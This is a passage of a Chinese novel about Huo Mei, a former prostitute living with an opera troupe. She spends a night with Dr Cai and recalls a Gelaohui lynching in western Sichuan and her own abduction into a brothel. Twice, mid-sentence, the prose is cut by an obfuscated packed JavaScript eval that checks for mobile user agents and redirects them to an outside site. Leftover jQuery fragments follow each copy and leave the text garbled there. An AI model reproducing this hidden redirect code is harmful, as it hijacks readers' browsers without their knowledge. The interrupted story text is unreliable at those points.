其他的衣服都很朴素,方便日常劳作。叫她发愁的是这个天气显然不适合单穿一条短袖旗袍上街,应该披个大衣;腿么,唯一一条厚丝袜在炮轰那晚被炸掉了,光着也忍得过去。 似乎也没法向人借,毕竟漱金的女孩都是一条毛巾从头洗到脚的艰苦作风......王苏年纪不轻了,理应有些自己的昂贵衣服、首饰,但她似乎对这些不感兴趣,只穿最朴素净白的衣衫,倒也能把它们穿出一番风味。 嘴硬也不能露怯,就跟蔡行健说不怕冷吧。 衣衫单薄地走到漱金大门口时,鼻涕都要出来了。王苏见了,问:“是要去见人吗?”得到肯定答复后,神秘兮兮地将她拉到柴房,扒拉出一个年代已久的铁箱子,然后用一块地砖下藏着的钥匙开了锁。 里面全是叠放整齐的秋冬女装,虽然不算如何精美华丽,但是面料有质感、剪裁得体、造型含蓄,应该属于某个品味不俗的女人。只是似乎很多年没穿过了,拿出来时都发硬,皱褶怎么也抖不开。 王苏做此事的时候显得很紧张,反复叮嘱“先装在包里,出门过了条街再穿,回来也是一样”,又一直注意有没有人在附近,让她发誓保密后急忙逃离了现场。 她选了一件黑色大衣来配旗袍,藏在包里抱在怀里溜出去,思考这些女装属于席芳心的可能性。 不过也没太多时间用来腹诽席芳心。 她在清秋路的路口站了很久。现在回去还有回寰的余地,倘若蔡行健逗弄她几次就失去兴趣、不打算与范章骅争抢的话,此事在范章骅那边是绝对翻不过去的。 可现在是周五晚上,多具有挑衅意味的时间。 霍眉定了定心神,走到蔡行健的宅邸门口,敲开了门。 应门的是一个女佣,温热的气流裹挟着她的一句“欢迎霍小姐,先生已经等你很久了”扑面而来。霍眉盯着她接过黑色大衣、挂在了锥形衣帽架上,才跟着往里走。 她随着女佣往里走,屋内装潢是西式风格,当真摆了许多奇石和万年松盆栽,皴鳞分披、虬曲多姿,极富怪诞之生趣。 蔡行健从里屋迎出来,这回没做油头,只穿了件烟灰色长衫,邀她进书房。 22. 奇石 是这样的,根据霍眉多年来的经验,对方邀请你共度晚上总含有要一起吃饭的意思。这该是条不成文的规矩吧? 但是蔡行健居然没有请她吃饭,佣人正在收拾狼藉的桌子。 她满腹疑虑地坐下,环顾四周,蔡行健的书房就明显比范章骅的更像文化人的书房:书籍都是杂乱堆放的,边页也因翻阅过多呈现出深黄,更没有论语啊孟子啊这种儿童入门典籍。 “霍小姐愿意来,我很高兴。”他从桌面镜后抱出一大捧白色茉莉花,神情羞涩地塞进她怀里,“若是送什么金银首饰,霍小姐肯定觉得俗。我想,女人更需要的是花。” “蔡先生怎么知道我最喜欢的是茉莉花?”她立刻接过,嗅了嗅,“你就是和别人不一样!别人就算送花,也是千篇一律的玫瑰花,你却有这样高雅的情趣。” 蔡行健立刻来劲儿了,起身吟诵道:“自是天上冰雪种,占尽人间富贵香。”随后他谈起花卉的养殖技巧,谈到盆栽,谈到万年松的诡怪之美,谈到奇石。 桌上当真摆着一块太湖石。在小小一块石头上,容纳了山脊的蜿蜒、山壁的错落,参差万象,包罗其间。常言道石令人古、水令人远,望着这么一块石头,霍眉竟然真能沉下心,试着去理解蔡行健说的每一个字。 “......但也不是越瘦越好。‘瘦’指的是石体的形态纤瘦、形状怪异、线条清晰,它只是一项必要条件,最关键的还是瘦中见奇。奇现筋骨,骨有坚贞,坚贞出神,神中凝气。而石头其实很难天然长成这样,需人工蚀刻,才能将‘奇’挖掘出来......看看你的脚好吗?” 霍眉听得正认真,一下子没回过神,“啊?噢噢,好。” 这是她做了充分准备的。或者说,为自己的美做准备已经成为生活习惯的一部分:每日用药材洗脸、泡脚,每周养护一次头发、皮肤。脱了鞋袜,那双明明比放足更容易开裂、生茧、感染真菌的畸形小脚,却维持着良好的柔软的馨香。 但再怎么说那也是脚啊,霍眉自己都不好意思看,闭上眼,感受到那双因做手术而天天消毒的粗糙大手揉捏上来。他因迷醉而放轻的声音在空中飘着,“......够奇。” 你也是够奇,一晚上啥事不干,光玩这个去了。 好歹还是一起吃了早餐,是香蕉、蓝莓、西蓝花和虾仁的冷盘。饭后蔡行健急着要上班,只叫司机将他送去医院后再送她回去。霍眉挽着他的手臂走到门口,发簪是一枝栀子花,留了几缕松散地垂在耳边,问道:“你喜欢我吗?” “怎会不喜欢呢。”他哈哈一笑,“见了你的男人,都会喜欢你的。” “见了我的男人,我可不是每个都喜欢。” “我知道,你喜欢千里嘛。”蔡行健又是哈哈一笑,已经钻进车里,摇下车窗来与她道别,车窗却忽然被扑来的两只手攀住了。 “将身心全部交付给蔡医生,能换来的仅仅是这些话吗?”她有刹那眯起了眼睛,锋锐的光芒在其中一闪而过,随后眼帘垂了下来,“我以为蔡医生懂得女人心,却根本不是这一回事。下次约我之前,先把这问题再回答一遍。” 言罢她取出发间的栀子花向车窗中掷去,花体掉在他腿上,落了两瓣;于此同时她腕上的银镯子也与窗户重重磕碰,发出脆响,在蔡行健的脑中叮咚一声。 “等等!”他打开车门喊她,女人却已经走出一段距离,头也不回地大声说:“不要你送。” 清道夫原已把漱金门口的泔水桶倒空了,水果大爷在边上剥柚子,把柚子皮往里扔。霍眉包里还揣着席芳心的大衣,只得先将衣服按褶皱叠好还回去,再冲出来抢桶,桶里已经铺了层甜腻果皮,苍蝇嗡嗡乱钻。 “下次再扔就扣你头上!”她大叫,“你看老子敢不敢吧!” 水果大爷低头看着自己手中的小刀“哦哟哟了不得”嘀咕几句,活像受了泼妇欺负的小老头。 穿着旗袍,弯腰屈腿都不太方便,这件衣服也贵,霍眉怕把它蹭脏了。围着泔水桶转了半圈想找个好的发力点,桶忽然在眼前被提了起来。 席玉麟打量了她几眼,把桶拎回去,冲了冲手,加入到后院对着飘飞被单啊啊练嗓的队伍中。他这会儿还认真参与,到了八点,又掏出戒尺欺负小孩去了。 王苏倒是勤勤恳恳忙到十点半,不在长桌边歇着等,却掀帘到厨房里面找她,开口就问:“衣服还回去了吗?” “放心,还回去了。” 她旋即笑起来,似乎想问出门见谁去了,又觉得不好问,只是说:“昨晚鲁七来过了,我就把你床下的那半袋鞋垫配鞋子都给他,按照你说的告诉他,一双八百文。不管卖不卖的出去,他下周都会再来的。” 霍眉连忙谢过她,稍微有些不好意思。她原打算把鞋子给鲁七的时候就送他一双,再塞三百文,感谢他又是跑腿又是兜售的;谁知这鲁七挑个她不在的时间来,又没得到好处,又被王苏使唤去做事,定会暗地里埋怨。 上次打的袼褙还有一半没有用完。开戏后,她一边听着王好运的《肖方杀船》,一边剪样。 这些天席玉麟没法上台,角色都是由他顶替的,给这初出茅庐的孩子造成了不小的心理压力。但他平日那张老带着憨笑的脸一看就属于半大孩子,抹上油彩、换上戏服以后,怎么说呢——比他席师兄要雄壮一些。 席玉麟此刻就站在幕布后面。开戏前他把王好运拉着反复强调:“决定杀金大用那里,必须眼白瞪得比眼黑多,你不要以为我在后面看不到你的脸。还有‘坟台上我见佳人美貌模样,俺肖方便起下贪恋心肠,上船时我就想想把佳人抱抢,码头上怕人多沸沸扬扬’这里,我来给你敲鼓,敲慢一点,你要是还说错了也别打梗,接着说下去......” 王好运的双眼直愣愣地望向前方,也不知道听进去没有。 “有什么问题吗?” “席师兄,”他的眼神飘回来,“我想尿尿。” “......” 现在他在台上表演,霍眉也不知道是好还是不好,只觉得这个肖方身上好像有某个人的影子,看了就讨厌。 瞧席玉麟的表情也瞧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15027247|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,这家伙自己不在台上,整张脸便如槁木死灰,一点表露出的情绪也没有。 快演完时,刘洪生班的演员进了后台。那位马师兄——大名叫马裕,看见席玉麟的背影,悄咪咪地摸过去往他肩上打了一下。席玉麟吓一跳,猛地转过身来,手臂差点把隔绝后台和戏台的幕布都卷起来;马裕亦是吓了一跳,因为他的脸。 其实脸已经好很多了,反复起了几次密密麻麻的水泡,又反复挑破,现在已经结了痂。每一片痂就像个形状不规则的小岛,周围尚存一圈粉到发白的嫩肉。 马裕盯着看很久,“可千万别留瘢痕。” “没事,到时候油彩一涂,谁知道有没有瘢痕?”席玉麟苦笑道,“算是我长了个教训。” 马裕不知道说什么好,又抓着他的肩膀使劲晃。这时《肖方杀船》落了幕,王好运钻回后台,席玉麟瞬间板起脸,只与马裕略微一点头就将学生拎走了。 穆尚文晚上十一点回来,给王苏和霍眉一人一颗硬糖。 ”大师兄给的!”她高兴地扑到床上,用自己那张糖纸叠小船,“哎,还有我那手帕,上周六就丢了,等到今天大师兄才有机会去给我带一条回来。” 漱金的时间表很紧,没什么外出时间;就算非得外出也要打报告。霍眉自己溜出去约会当然是不会跟人说的。但这周席玉麟出去了两次,穆尚文知道也没找他,一定要等到席秉诚出去才托其办事。 接着师姐妹两个又聊起别的。之所以说鲁七可以把布鞋带到码头,因为他是个赶马车的,而昨天鲁七见到她,便讲起这月的见闻:一帮土匪劫了从云南来的马队,砍死三人、伤一人,还有一人滚落山崖、至今下落不明。他们家的女人便相约找到融顺茶馆,请裘三爷主持公道。 西南盗匪猖獗已是历史遗留问题,月月都有人被抢劫;而剿匪的主力军不是各防区的军阀,而是哥老会。 此事发生后第二天,便有二十多个袍哥带枪出城,坐的就是鲁七赶的马车。 鲁七这份工作就是请袍哥帮忙找的,早就对他们的江湖义气、豪侠心胸倾慕已久,这回甚至见到了传闻中的李五爷,与王苏讲起时难掩激动。 “还说什么,等给爹娘养完老,也想拜关公入会……”王苏笑着调侃,话音未落,霍眉就突然插嘴:“他没跟那一车袍哥说起与你的关系吧?” “我们只是普通朋友,又和当事无关,为何要特意提起?” “男人嘛,一兴奋嘴巴就把不住门,认识一个会唱戏的幺妹儿多值得夸耀呀,月月去看她,又不结婚。别人听着就不觉得是普通朋友了,变成了美艳戏子勾引老实工人。” “说了又啷个样嘛?”穆尚文大声问。 靠近门的张大娘把灯吹了,宿舍顿时陷入一片黑暗,姑娘们也自觉闭上嘴和眼睛。穆尚文的一只冰手却不依不饶地伸进她的被子里,戳来戳去:“又啷个样嘛?” 霍眉没好气地在她手臂上使劲儿一拧。穆尚文只得缩回去,刚翻身想向另一边的王苏抱怨,背后就幽幽飘来嘶哑的一声:“会被枪毙哦。” 23. 川西回忆 川西白羊县祥宁镇,是个美丽的地方。 从前振良会念古诗给她听,“故乡今夜思千里,霜鬓明朝又一年”、“少小离家老大回,乡音未改鬓毛衰”,霍眉知道大诗人说的话都是对的,十七岁背井离乡那年,还以为自己会被对家的思念折磨至死。 但是大诗人都是男的。而霍小姐并不怎么想家,不怎么想回到那间堂屋、坐到父母弟弟中间去,因为明明有另一种梦可以做——躺进三层洋房的白瓷浴缸里洗泡泡浴,她干嘛要想回去? 她想的是川西,无关任何人的川西。 人们称四川为“天府之国”,指的往往是川西平原这一带。它是中国内陆最富庶的地区之一,自都江堰克服岷江水患、开辟自流灌溉以来,田间沟渠交错,土地肥沃细软,使其水稻种植量在长江上游常年位居第一。 川西也多竹林,当地人称之为“林盘”,她的家就在一片林盘中。门前有一道沟渠,水上飘着绿色的浮萍,引来很多鸭子,她和母亲就是在这里洗衣洗菜的;门后长了一片油菜花,蹚过去就是水田,春天都江堰一开闸放水,耙过就能插秧了。她仍记得插秧的时节总在下小雨,竹林、秧苗和天色新绿一片。 家里还有一头黑色的大水牛,牛角乌沉优美地向后弯,很温顺。偶尔悠长吟上一声,田里的鹭鸶就呼啦啦全飞了。 在这世外桃源般的乡村中,小霍眉不知有皇帝、总统,只知有哥老会。 其实也是有乡联保主任的,但比起联保主任,裘贵华更愿意以哥老会副把头的名号行事。祥宁镇的成年男人几乎个个是袍哥,兄弟义气、宗法权威在乡村远比新式的政府、法律要有效。上至命案下至邻里纠纷,全拿去茶馆评理;从婚嫁到葬丧,也都要向哥老会汇报, 霍眉对此怀有深切的恐惧。 父亲把她带去茶馆凑了几次热闹,茶馆里烟雾缭绕,裘贵华翘着二郎腿抽水烟,面前跪着一排人哭诉什么,她没听清。只听清最后裘贵华吐出一口烟气,又淡淡吐出三个字:“挑脚筋。” 当晚,那个因为过度饥饿而偷了一个玉米的孩子便被挑断了脚筋,再站不起来。落到这个地步,本就是因为没家人,失去行动能力后在路边爬了三天,自然也没人管、没人疼,最后死了。 如此权利,生杀予夺。 很奇怪,大家都是可怜人,却在惩罚其他可怜人时毫无恻隐。逃跑的佣人和石头一起装在竹笼里,沉入河底;抢了两只鸡的强盗被剖心挖肝、炒熟下酒;偷情的妇女被拴住脚踝吊在树上,一人打一鞭子。 观看别人被行刑时,大家脸上的表情都是讷讷的——这是理所当然的事嘛,几百年都是这样的。甚至还在这一过程中被哥老会的至上权利所震慑,更加认可他们作为正义的化身。 出生在这样的环境下,霍眉儿时也怀着敬畏注视这一切;越长大却越觉得不和谐。就像某天夜里被父亲的鼾声吵醒,看着枕边的男人须髭纠缠、满脸横肉、呼出一阵阵恶臭的酒气,觉得相伴十多年的亲人有一瞬间变成了不认识的野兽。 邻家的男主人是裘贵华的妹夫,他的女儿叫茯苓——乡里的小孩都互叫小名,比如她的“老大”,振良的“虎子”——很漂亮。那会儿霍眉很小,究竟漂亮成什么样也记不清楚了,反正在一众因为干活儿而黑黑瘦瘦的女孩中像仙子。 那会儿霍眉虽然小,但早熟,对于人与人之间关系有种超长的敏锐。夏夜傍晚,几家大人蹲在田埂上要给茯苓议亲,振良在露天凉席上趴着玩,她也坐着敲核桃,聚精会神地把八卦听完了,心里很得意。 他们都不知道茯苓有情郎了,就她知道。 稍大一点的姑娘们都是不爱吃红薯干的,因为吃了放屁,形象很不好;茯苓每次去镇上赶集时却要到一家特定的炒货店买红薯干,买回来自己不吃,分给她们这些孩子。 那个卖炒货的年轻小伙都不好意思看她。 如此明显的事,霍眉简直不敢相信那些能断案的袍哥老爷们看不出来。她没把这件事跟任何人说,除了振良。振良小时候特别怪,行为怪,语言怪,又病歪歪的不肯多走动,大家都以为他有点毛病。但其实他也不屑于和其他孩子玩,既然霍眉对他好,他也对霍眉好,做她的听众、守护者、忠实小跟班。 他听了,说:“我没瞧出来。而且茯苓姐应该不会喜欢他,茯苓姐那么好看。” “茯苓好看还是我好看?” 霍振良仔细地打量她一阵,然后笃定道:“茯苓姐好看。” 霍眉翻了个白眼,用力猛砸核桃。霍振良又仔细地打量她一阵,认为她在生气,于是讨好般地举起蒲扇给她扇扇子,两条小短胳膊上下扑腾。 然而某一日东窗事发,炒货小伙从茯苓家的外墙上翻出来,与她父亲撞了个正着。 这事儿当然不是霍眉目击到的,是茯苓的父亲说给裘贵华,然后裘贵华公布的。他们全家都觉得丢人,霍眉觉得这里的逻辑思维都变陌生了:只要你们不说,谁知道?谁觉得丢人? 一群人高马大的袍哥冲进茯苓家的院子,绑出两个年纪都不大的少男少女,押到河边。已经有三个月没有任何大事发生了,父亲觉得很兴奋,带着她和振良去围观,她只能被父亲拽着,看男孩怎么发抖、女孩怎么流泪。 乡民们都来围观,有人上来劝解:副把头,这是你侄女啊。 讲到这里时,霍眉忽然想起今日听《肖方杀船》感到的一丝熟悉来自哪里了。肖方要杀妻时,喽啰们求情“这是嫂嫂哟”,他却道:“老子通不认!” 那日裘贵华就是这么回答的——老子通不认! 茯苓自始至终都没为自己求一个字的情,那个外乡的男孩更不说话,两人就在及膝的河水里站着。只有茯苓的妈在一边又哭又闹,哥哥和丈夫都不搭理她,眼神就渐渐呆滞了,开始往带着的盆里烧纸。 随着一声枪响,男孩先被击中、倒在浪花里。 紧接着第二声枪响,茯苓一头栽下。春天河滩的水尚浅,男孩的尸体还没来得及被冲走,她倒在他身上,两个人在被染红的水中越漂越快、越漂越远。 那是个春天啊,天应该是濛濛绿的,为什么通红一片。 乡民们看完了热闹,平静地回家了。过阵子茯苓的娘就上吊了,乡民们又在门口看了一阵热闹,再平静地回家了。 除了振良反反复复的病情和愈来愈贵的学费,还有一种更迫切的动因催促着她离开。再不离开,她就一个人也不认识了,乡民都在变回怪物原型,川西在野蛮暴力的私刑下变成哥老会的川西。不是霍眉的川西。下一个被吃掉的是谁?不能是她,不会是她。 母亲不赞成她去城里打工,说城里乱,不仅赚不到钱,她还要学坏。父亲没反对,好歹能省下一个人的口粮,家里快要揭不开锅了。 振良呢,每天下课后要帮老师抄两个小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15032123|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书,挣一角钱,大半夜才能翻越几座山头回到家。听闻此事后,特意把睡着了的霍眉摇醒,悄声道:“你走吧。” 她在他过长的头发里揉了好几把,“我是打算走。我走了,爸妈再说叫你辍学去镇上打工,可千万别理。他们不供你,我供你。” “别管我了。” “那我们一家人继续当农民?我长大了,再嫁个农民生个农民,你长大了,再娶个农民生个农民?” 见他沉默不答,霍眉把语气放得更轻快些,“你离离开这里就差临门一脚了。别跟我犟,好好读书,要有出息!有出息就有钱,到时候给我买大金镯子,姐姐也就算‘春种一粒粟,秋收万颗子’啦。” 霍振良一直是个理性到有点冷血的人,别人气得跳脚,他能无动于衷,进入青春期后尤甚。但此时此刻,他前所未有地窘迫起来,恨自己怎么还不长大,还不能顶天立地。 要离开的那一天,父亲又带着她和振良去找了裘贵华。 振良是祥宁镇唯一考上高中的学生,裘贵华很喜欢他,资助了五十块学费,并允诺倘若他能考上大学,再资助五十。至于霍眉么,父亲请裘贵华把她带到巴青,谋份差事。把女儿交给袍哥,他最能安心。 裘贵华应允了,他正好也受到巴青一个堂口龙头大爷的邀请,便与霍眉同行。 裘贵华就成了现在的裘三爷,霍眉就成了妓女。 穆尚文忍不住插嘴道:“......他把你卖窑子里去了?” “当然不是他卖的,他干这种事,不得把自己枪毙啊。”霍眉翻了个白眼,“他把我介绍到纱厂。我那个时候十七岁,乡下来的、无亲无故还漂亮,在仓库里找零件,被从后面捂住口鼻。醒来就在怡乐院了。” 穆尚文觉得听着挺惨的,但霍眉本人都是一副不在乎的口吻,也不好替她觉得惨,“那、那你不找裘三爷求救?” 这问题真是傻,霍眉嫌弃地睨她一眼,听了半天没听明白呢——哥老会真的是想维护正义吗?他们是想维护自己的权威。到了怡乐院先关起来,问你从不从?不从就打。有人被打死了,有人从了,从了的两三年都迈不出怡乐院的门槛,不分白天黑夜的接客。最低级的那种服务,开门就脱裤子;最低等的客人,满身臭汗的苦力,亲着亲着把隔夜酒吐你嘴里。 等她终于能出条子、迈出怡乐院大门的时候,至少接过一千个男人了。 再去找裘三爷怎么说呢?因为你的照顾不周,导致同乡的姑娘变成了怡乐院头牌,这对哥老会是莫大的羞辱。为了维护名声与威严裘三爷会怎么做呢?当然是第三声枪响。 所以她说,我自甘堕落,瞒着裘三爷偷偷去的。 “听完没有?听完我睡觉了。” “霍眉——”穆尚文低低地叫一声。霍眉没理她。 王苏又叫:“霍眉?” 她坐起来:“诶?” “鲁七人前很内敛,不会说这种事情的。”王苏轻声说,若有所思的样子,“说实话,巴青城原来挺乱的,到处都是强盗,军警匪相勾结。裘三爷来了后,大力剿匪,又制衡了军阀,算是为巴青做了很多事。百姓有什么冤屈第一时间还是去找他。真想不到他居然会为这点小事就......” 你看,最恐怖的就在这里——裘贵华甚至是一个好人,哥老会比政府要靠谱。 霍眉枕在自己的胳膊上,幽幽叹了口气。